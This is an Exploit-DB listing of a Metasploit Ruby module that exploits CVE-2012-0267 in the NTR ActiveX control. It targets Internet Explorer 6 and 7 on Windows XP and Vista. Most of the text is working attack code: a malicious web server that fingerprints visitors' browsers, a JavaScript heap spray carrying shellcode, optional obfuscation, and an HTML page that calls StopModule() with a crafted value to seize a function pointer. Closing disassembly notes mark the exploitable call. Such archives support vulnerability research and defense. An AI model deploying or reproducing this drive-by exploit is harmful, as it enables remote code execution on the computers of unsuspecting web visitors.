标题: NTR - ActiveX Control 'StopModule()' Remote Code Execution (Metasploit) EDB-ID: 21839 CVE: 2012-0267 类型: REMOTE 平台: WINDOWS 发布日期: 2012-10-10 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::Remote::BrowserAutopwn

 autopwn_info({
  :ua_name    => HttpClients::IE,
  :ua_minver  => "6.0",
  :ua_maxver  => "7.0",
  :javascript => true,
  :os_name    => OperatingSystems::WINDOWS,
  :classid    => "{E6ACF817-0A85-4EBE-9F0A-096C6488CFEA}",
  :method     => "StopModule",
  :rank       => NormalRanking
 })


 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'NTR ActiveX Control StopModule() Remote Code Execution',
   'Description'    => %q{
     This module exploits a vulnerability found in the NTR ActiveX 1.1.8. The
    vulnerability exists in the StopModule() method, where the lModule parameter is
    used to dereference memory to get a function pointer, which leads to code execution
    under the context of the user visiting a malicious web page.
   },
   'Author'         =>
    [
     'Carsten Eiram', # Vulnerability discovery
     'juan vazquez' # Metasploit module
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'CVE', '2012-0267' ],
     [ 'OSVDB', '78253' ],
     [ 'BID', '51374' ],
     [ 'URL', 'http://secunia.com/secunia_research/2012-2/' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space' => 1024,
     'DisableNops' => true,
     'BadChars'    => ""
    },
   'DefaultOptions'  =>
    {
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     # NTR ActiveX 1.1.8.0
     [ 'Automatic', {} ],
     [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5f4'} ],
     [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5f4'} ],
     [ 'IE 7 on Windows Vista',  { 'Rop' => nil, 'Offset' => '0x5f4'} ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Jan 11 2012',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
   ], self.class
  )

 end

 def get_spray(t, js_code, js_nops)

  spray = <<-JS
  var heap_obj = new heapLib.ie(0x20000);
  var code = unescape("#{js_code}");
  var nops = unescape("#{js_nops}");

  while (nops.length < 0x80000) nops += nops;

  var offset = nops.substring(0, #{t['Offset']});
  var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

  while (shellcode.length < 0x40000) shellcode += shellcode;
  var block = shellcode.substring(0, (0x80000-6)/2);

  heap_obj.gc();
  for (var z=1; z < 500; z++) {
   heap_obj.alloc(block);
  }

  JS

  return spray

 end

 def get_target(agent)
  #If the user is already specified by the user, we'll just use that
  return target if target.name != 'Automatic'
  if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
   return targets[1] #IE 6 on Windows XP SP3
  elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
   return targets[2] #IE 7 on Windows XP SP3
  elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
   return targets[3] #IE 7 on Windows Vista SP2
  else
   return nil
  end
 end

 def on_request_uri(cli, request)

  agent = request.headers['User-Agent']
  print_status("User-agent: #{agent}")

  my_target = get_target(agent)

  # Avoid the attack if the victim doesn't have a setup we're targeting
  if my_target.nil?
   print_error("Browser not supported: #{agent}")
   send_not_found(cli)
   return
  end

  p = payload.encoded
  js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
  js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
  js = get_spray(my_target, js_code, js_nops)

  js = heaplib(js, {:noobfu => true})

  if datastore['OBFUSCATE']
   js = ::Rex::Exploitation::JSObfu.new(js)
   js.obfuscate
  end

  address = 0x0c0c0c0c / 0x134

  html = <<-MYHTML
  <html>
  <body>
  <object classid='clsid:E6ACF817-0A85-4EBE-9F0A-096C6488CFEA' id='test'></object>
  <script>
  #{js}
  test.StopModule(#{address});
  </script>
  </body>
  </html>
  MYHTML

  html = html.gsub(/^\t\t/, '')

  print_status("Sending html")
  send_response(cli, html, {'Content-Type'=>'text/html'})
 end
end

=begin

The pointer is "controlled" here:

.text:10004449                 mov     eax, [ebp+arg_0] ; arg_0 is user controlled
.text:1000444C                 imul    eax, 134h       ; it looks good
.text:10004452                 lea     esi, [eax+edi]  ; eax is user controlled
.text:10004452                                         ; edi is a heap pointer initialized while activex loading
.text:10004452                                         ;     (Important note: the default heap isn't being used)
.text:10004452                                         ;
.text:10004452                                         ; edi:
.text:10004452                                         ;
.text:10004452                                         ; 0:000> !heap -p -a edi
.text:10004452                                         ;     address 01fb370c found in
.text:10004452                                         ;     _HEAP @ 1fb0000
.text:10004452                                         ;       HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
.text:10004452                                         ;         01fb3668 0373 0000  [01]   01fb3670    01b90 - (busy)
.text:10004452                                         ;           ? ntractivex118!DllUnregisterServer+10d18
.text:10004452                                         ;
.text:10004452                                         ; Initialization (while activex loading):
.text:10004452                                         ; ChildEBP RetAddr  Args to Child
.text:10004452                                         ; 00138510 02a4e147 00001b84 02a4e8fb 00001b84 ntdll!RtlAllocateHeap+0xeac
.text:10004452                                         ; 00138548 02a4939e 00000000 7dc43038 00e057f8 ntractivex118!DllUnregisterServer+0x8823
.text:10004452                                         ; 0013855c 7dea5401 02093628 00000000 7dc43038 ntractivex118!DllUnregisterServer+0x3a7a
.text:10004452                                         ; 00138598 7deaa7f8 00e057f8 00e06154 80004005 mshtml!COleSite::InstantiateObjectFromCF+0x114

And user to get RCE here:

.text:1000446E                 mov     eax, [esi+24h]  ; esi can be user influenced
.text:10004471                 test    eax, eax
.text:10004473                 jz      short loc_10004477
.text:10004475                 call    eax             ; RCE!

=end URL: https://www.exploit-db.com/exploits/21839